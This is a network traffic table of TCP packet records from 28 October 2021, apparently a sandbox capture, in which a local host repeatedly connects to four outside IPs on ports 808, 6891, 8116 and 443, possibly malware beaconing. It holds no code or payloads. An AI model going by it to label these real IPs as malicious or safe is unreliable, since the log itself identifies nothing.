Oct 28, 2021 04:53:26.585887909 CEST	808	50089	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:26.592377901 CEST	808	50089	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:26.592411041 CEST	808	50089	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:26.592432976 CEST	808	50089	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:26.605699062 CEST	6891	50088	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:26.611413956 CEST	8116	50090	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:26.611521959 CEST	50090	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:26.612425089 CEST	50090	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:26.663649082 CEST	8116	50090	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:26.663661003 CEST	8116	50090	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:26.668996096 CEST	50090	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:26.670721054 CEST	50090	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:26.676325083 CEST	50090	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:26.676346064 CEST	50090	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:26.727313042 CEST	8116	50090	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:26.727339983 CEST	8116	50090	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:26.727356911 CEST	8116	50090	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:26.895597935 CEST	8116	50090	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:26.895625114 CEST	8116	50090	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:26.895704031 CEST	50090	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:26.903165102 CEST	50090	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:26.953838110 CEST	8116	50090	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:26.984493971 CEST	808	50089	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:26.984520912 CEST	808	50089	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:26.984657049 CEST	50089	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:26.987750053 CEST	50089	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:27.023761034 CEST	50091	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:27.023802996 CEST	443	50091	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:27.023900032 CEST	50091	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:27.024826050 CEST	50091	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:27.024837017 CEST	443	50091	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:27.100934982 CEST	50092	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:27.148649931 CEST	808	50089	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:27.267267942 CEST	6891	50092	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:27.268559933 CEST	50092	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:27.270749092 CEST	50092	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:27.437124014 CEST	6891	50092	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:27.437149048 CEST	6891	50092	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:27.437231064 CEST	50092	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:27.444030046 CEST	50092	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:27.446904898 CEST	50092	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:27.446978092 CEST	50092	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:27.544163942 CEST	443	50091	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:27.544585943 CEST	50091	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:27.544972897 CEST	50091	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:27.544982910 CEST	443	50091	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:27.550460100 CEST	50091	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:27.550471067 CEST	443	50091	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:27.550611019 CEST	50091	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:27.550620079 CEST	443	50091	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:27.613267899 CEST	6891	50092	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:27.613282919 CEST	6891	50092	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:27.650162935 CEST	6891	50092	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:27.992898941 CEST	6891	50092	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:27.992921114 CEST	6891	50092	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:27.993118048 CEST	50092	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:27.998614073 CEST	50092	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:28.117453098 CEST	50093	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:28.164833069 CEST	6891	50092	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:28.171377897 CEST	8116	50093	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:28.171540976 CEST	50093	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:28.172763109 CEST	50093	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:28.226519108 CEST	8116	50093	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:28.226845980 CEST	8116	50093	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:28.226953030 CEST	50093	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:28.227916956 CEST	50093	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:28.235141993 CEST	50093	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:28.235361099 CEST	50093	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:28.257024050 CEST	443	50091	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:28.257117987 CEST	443	50091	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:28.257220984 CEST	50091	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:28.257245064 CEST	50091	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:28.264803886 CEST	50091	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:28.264826059 CEST	443	50091	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:28.289110899 CEST	8116	50093	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:28.289419889 CEST	8116	50093	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:28.289654016 CEST	8116	50093	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:28.387166977 CEST	50094	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:28.480349064 CEST	8116	50093	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:28.480390072 CEST	8116	50093	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:28.480525017 CEST	50093	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:28.482672930 CEST	50093	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:28.536325932 CEST	8116	50093	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:28.549834013 CEST	808	50094	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:28.552040100 CEST	50094	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:28.552962065 CEST	50094	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:28.600137949 CEST	50095	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:28.600181103 CEST	443	50095	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:28.600503922 CEST	50095	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:28.601497889 CEST	50095	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:28.601525068 CEST	443	50095	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:28.715540886 CEST	808	50094	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:28.715612888 CEST	808	50094	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:28.715702057 CEST	50094	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:28.716579914 CEST	50094	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:28.720964909 CEST	50094	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:28.721088886 CEST	50094	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:28.879110098 CEST	808	50094	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:28.883651018 CEST	808	50094	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:28.883691072 CEST	808	50094	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:28.883728981 CEST	808	50094	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:28.883757114 CEST	808	50094	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:29.087723970 CEST	443	50095	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:29.087918997 CEST	50095	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:29.088542938 CEST	50095	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:29.088567019 CEST	443	50095	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:29.092288017 CEST	50095	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:29.092308044 CEST	443	50095	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:29.092427969 CEST	50095	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:29.092442036 CEST	443	50095	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:29.269521952 CEST	808	50094	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:29.269547939 CEST	808	50094	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:29.269660950 CEST	50094	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:29.278465986 CEST	50094	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:29.404525995 CEST	50096	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:29.441061020 CEST	808	50094	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:29.570964098 CEST	6891	50096	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:29.571129084 CEST	50096	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:29.571971893 CEST	50096	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:29.738218069 CEST	6891	50096	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:29.738301992 CEST	6891	50096	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:29.738365889 CEST	50096	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:29.738990068 CEST	50096	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:29.742845058 CEST	50096	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:29.742948055 CEST	50096	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:29.779768944 CEST	443	50095	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:29.779849052 CEST	443	50095	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:29.779859066 CEST	50095	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:29.779901028 CEST	50095	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:29.784648895 CEST	50095	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:29.784678936 CEST	443	50095	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:29.909120083 CEST	6891	50096	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:29.909142971 CEST	6891	50096	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:29.909157991 CEST	6891	50096	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:29.929944992 CEST	50097	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:30.093153000 CEST	808	50097	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:30.093310118 CEST	50097	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:30.095175028 CEST	50097	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:30.258157015 CEST	808	50097	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:30.258227110 CEST	808	50097	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:30.258305073 CEST	50097	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:30.260363102 CEST	50097	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:30.263686895 CEST	50097	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:30.263793945 CEST	50097	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:30.288067102 CEST	6891	50096	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:30.288093090 CEST	6891	50096	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:30.290649891 CEST	50096	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:30.290702105 CEST	50096	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:30.294147015 CEST	50096	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:30.418782949 CEST	50098	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:30.423405886 CEST	808	50097	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:30.426681995 CEST	808	50097	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:30.426757097 CEST	808	50097	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:30.426841021 CEST	808	50097	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:30.426856041 CEST	808	50097	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:30.426871061 CEST	808	50097	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:30.460427999 CEST	6891	50096	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:30.470880032 CEST	8116	50098	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:30.471060991 CEST	50098	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:30.471683979 CEST	50098	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:30.523629904 CEST	8116	50098	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:30.524019957 CEST	8116	50098	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:30.524111032 CEST	50098	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:30.524781942 CEST	50098	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:30.528474092 CEST	50098	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:30.528604031 CEST	50098	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:30.580674887 CEST	8116	50098	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:30.580893040 CEST	8116	50098	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:30.765551090 CEST	8116	50098	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:30.765573978 CEST	8116	50098	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:30.765690088 CEST	50098	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:30.774241924 CEST	50098	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:30.814676046 CEST	808	50097	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:30.814697981 CEST	808	50097	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:30.814834118 CEST	50097	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:30.814897060 CEST	50097	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:30.818509102 CEST	50097	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:30.826493979 CEST	8116	50098	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:30.890999079 CEST	50099	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:30.891064882 CEST	443	50099	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:30.891204119 CEST	50099	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:30.891968966 CEST	50099	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:30.891997099 CEST	443	50099	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:30.929699898 CEST	50100	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:30.981547117 CEST	808	50097	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:31.096616030 CEST	6891	50100	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:31.096884966 CEST	50100	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:31.098109007 CEST	50100	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:31.264467001 CEST	6891	50100	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:31.264533043 CEST	6891	50100	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:31.264643908 CEST	50100	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:31.265330076 CEST	50100	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:31.269615889 CEST	50100	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:31.269738913 CEST	50100	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:31.386235952 CEST	443	50099	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:31.386390924 CEST	50099	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:31.387553930 CEST	50099	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:31.387579918 CEST	443	50099	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:31.392548084 CEST	50099	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:31.392566919 CEST	443	50099	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:31.392826080 CEST	50099	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:31.392862082 CEST	443	50099	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:31.435964108 CEST	6891	50100	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:31.435983896 CEST	6891	50100	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:31.436045885 CEST	6891	50100	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:31.819788933 CEST	6891	50100	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:31.819855928 CEST	6891	50100	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:31.819911957 CEST	50100	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:31.819948912 CEST	50100	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:31.822038889 CEST	50100	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:31.932054043 CEST	50101	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:31.980458021 CEST	8116	50101	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:31.980572939 CEST	50101	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:31.981417894 CEST	50101	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:31.988307953 CEST	6891	50100	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:32.029498100 CEST	8116	50101	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:32.029898882 CEST	8116	50101	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:32.030015945 CEST	50101	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:32.030854940 CEST	50101	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:32.037214994 CEST	50101	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:32.037470102 CEST	50101	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:32.078766108 CEST	443	50099	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:32.078855038 CEST	443	50099	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:32.078900099 CEST	50099	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:32.078991890 CEST	50099	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:32.085464954 CEST	8116	50101	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:32.085829020 CEST	8116	50101	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:32.093199968 CEST	50099	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:32.093223095 CEST	443	50099	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:32.210459948 CEST	50102	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:32.254117966 CEST	8116	50101	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:32.254164934 CEST	8116	50101	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:32.254241943 CEST	50101	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:32.254280090 CEST	50101	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:32.257457972 CEST	50101	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:32.305574894 CEST	8116	50101	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:32.376276016 CEST	808	50102	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:32.376460075 CEST	50102	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:32.377111912 CEST	50102	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:32.398097992 CEST	50103	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:32.398144007 CEST	443	50103	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:32.398272038 CEST	50103	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:32.398991108 CEST	50103	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:32.399003983 CEST	443	50103	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:32.542365074 CEST	808	50102	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:32.542484045 CEST	808	50102	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:32.542558908 CEST	50102	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:32.543066978 CEST	50102	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:32.546715975 CEST	50102	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:32.546858072 CEST	50102	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:32.710599899 CEST	808	50102	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:32.712502956 CEST	808	50102	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:32.712516069 CEST	808	50102	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:32.712613106 CEST	808	50102	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:32.884789944 CEST	443	50103	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:32.884970903 CEST	50103	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:32.885718107 CEST	50103	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:32.885724068 CEST	443	50103	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:32.890531063 CEST	50103	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:32.890542030 CEST	443	50103	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:32.890721083 CEST	50103	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:32.890729904 CEST	443	50103	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:33.086112976 CEST	808	50102	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:33.086132050 CEST	808	50102	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:33.086183071 CEST	50102	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:33.086218119 CEST	50102	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:33.091312885 CEST	50102	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:33.233684063 CEST	50104	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:33.256689072 CEST	808	50102	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:33.399087906 CEST	6891	50104	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:33.399414062 CEST	50104	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:33.408746004 CEST	50104	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:33.574677944 CEST	6891	50104	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:33.574774027 CEST	6891	50104	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:33.575051069 CEST	50104	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:33.576011896 CEST	50104	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:33.579245090 CEST	443	50103	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:33.579309940 CEST	443	50103	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:33.579463005 CEST	50103	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:33.583945990 CEST	50103	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:33.583966970 CEST	443	50103	192.46.210.220	192.168.2.5
Oct 28, 2021 04:53:33.595387936 CEST	50104	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:33.595473051 CEST	50104	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:33.699470043 CEST	50105	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:33.761142015 CEST	6891	50104	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:33.858702898 CEST	808	50105	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:33.859345913 CEST	50105	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:33.860671997 CEST	50105	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:34.021632910 CEST	808	50105	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:34.021790028 CEST	808	50105	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:34.021879911 CEST	50105	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:34.022823095 CEST	50105	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:34.030006886 CEST	50105	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:34.030239105 CEST	50105	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:34.141570091 CEST	6891	50104	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:34.141597986 CEST	6891	50104	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:34.141781092 CEST	50104	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:34.155642033 CEST	50104	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:53:34.182368994 CEST	808	50105	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:34.190105915 CEST	808	50105	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:34.190131903 CEST	808	50105	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:34.190196037 CEST	808	50105	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:34.287539959 CEST	50106	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:34.322216034 CEST	6891	50104	45.77.0.96	192.168.2.5
Oct 28, 2021 04:53:34.337873936 CEST	8116	50106	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:34.338093042 CEST	50106	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:34.339307070 CEST	50106	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:34.391619921 CEST	8116	50106	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:34.391645908 CEST	8116	50106	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:34.391979933 CEST	50106	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:34.392930984 CEST	50106	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:34.398526907 CEST	50106	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:34.398669004 CEST	50106	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:34.446605921 CEST	8116	50106	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:34.454371929 CEST	8116	50106	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:34.454411030 CEST	8116	50106	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:34.575659037 CEST	808	50105	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:34.575673103 CEST	808	50105	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:34.575994015 CEST	50105	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:34.581583023 CEST	50105	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:53:34.618099928 CEST	8116	50106	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:34.618124008 CEST	8116	50106	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:34.618288994 CEST	50106	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:34.618311882 CEST	50106	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:34.626575947 CEST	50106	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:53:34.674671888 CEST	8116	50106	185.56.219.47	192.168.2.5
Oct 28, 2021 04:53:34.740897894 CEST	808	50105	143.244.140.214	192.168.2.5
Oct 28, 2021 04:53:34.749259949 CEST	50107	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:53:34.749298096 CEST	443	50107	192.46.210.220	192.168.2.5
